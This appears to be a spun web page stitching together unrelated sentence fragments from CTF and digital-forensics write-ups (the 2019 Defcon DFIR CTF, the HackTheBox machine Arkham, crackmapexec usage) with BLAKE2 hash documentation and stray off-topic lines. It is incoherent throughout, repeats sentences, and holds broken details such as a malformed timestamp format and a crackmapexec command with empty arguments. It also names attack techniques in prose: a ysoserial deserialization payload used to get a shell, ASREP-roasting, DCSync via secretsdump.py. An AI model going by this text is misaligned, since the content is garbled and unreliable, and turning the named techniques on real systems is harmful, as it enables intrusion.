Directory Information Tree. What time did the user access content on placeholder.com? complete specification of BLAKE2b and BLAKE2s (though not of the tree Should I use my invisibility to fight crime or for evil? 7-Zip. This question we can use the dllist plugin of Volatility and some grep kungfu to find out the process. After this we can move this to our Kali instance into its own folder and use the readpst tool within to parse the information into a manageable mbox format with the below. We have already gathered this information through the systeminfo command; however, we can also get this information by using hostname. By downloading the file and opening it in excel, we can see the credentials, and at this point have our flag. Submit in UTC as MM/DD/YYYY HH:MM:SS in 24 format. Arkham was a medium difficulty box that shows how Java deserialization can be used by attackers to get remote code execution. In this article, we learn to use crackmapexec. What is the zipcode of Karens craigslist post?. This cheasheet is aimed at the CTF Players and Beginners to help them sort Vulnhub Labs. For root, we find the logon password for an account that has DCSync privileges and then use secretsdump.py to execute the attack. To use this parameter, the syntax will be: crackmapexec -u -p rid-brute. sets of parameters will produce different results. the designers of BLAKE2). This can be easily located by running a directory command on the Desktop. After converting your timestamp to UTC you get the required answer. Either way were in! Revisiting the bash history all we need to do is locate the last directory changed to in the log. I didnt find anything when dirbusting it. After finding the JSF viewstates encryption key in a LUKS encrypted file partition, I created a Java deserialization payload using ysoserial to upload netcat and get a shell. If you have not distributed software tokens before, you will need to create a software token profilebefore continuing. and BLAKE, Rotational Cryptanalysis of ARX Revisited, The Boomerang Attacks on BLAKE and BLAKE2, https://github.com/BLAKE2/BLAKE2/tree/master/testvectors. This is a bit of a trick question, looking at /var/log/apache2/access.log which we previously got the hash for, we can see that this is 0 bytes, which seems to indicate Apache was never run. After finding the JSF viewstates encryption key in a LUKS encrypted file partition, I created a Java deserialization payload using ysoserial to upload netcat and get a shell. Submit in UTC as MM:DD:YYYY HH:MM:YYYY in 24 format.. Trailer: Look for 50 4B 05 06 (PK..) followed by 18 additional bytes at the end of the file. The information is then used to access important accounts and can result in identity theft and financial loss.. To do the said, type: CME also enable us to do dictionary on both username and password. smb, chips, by processing the input in parallel. With that output, we have found the flag. What is the theme? Argon2 with For user, we bruteforce usernames and then use ASREP-Roasting to obtain the hash of one the users. You have no idea how high I can fly - 15 Points, 14. BLAKE2b and BLAKE2s are designed to be efficient on a single CPU core On August 9th David Cowen (HECFBlog) announced the 2019 Unofficial Defcon DFIR CTF was going live which had been provided by the Champlain Colleges Digital Forensic Association. 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